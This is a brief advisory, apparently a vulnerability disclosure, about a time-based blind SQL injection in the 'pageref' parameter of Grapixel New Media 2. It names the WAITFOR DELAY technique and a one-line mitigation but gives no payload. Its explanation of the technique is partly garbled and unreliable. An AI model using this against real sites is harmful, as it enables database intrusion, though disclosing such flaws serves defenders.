Grapixel New Media 2 – ‘pageref’ SQL Injection

Time-Based sql injection is called a data extraction event with request response times with the server when there is no other way for it to extract aggressive data. It should be determined by sql injection type. I discovered blind time-based sql injection. Because single quotes didn't break the page structure, so I tried to get results using waitfor delay instead.

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.
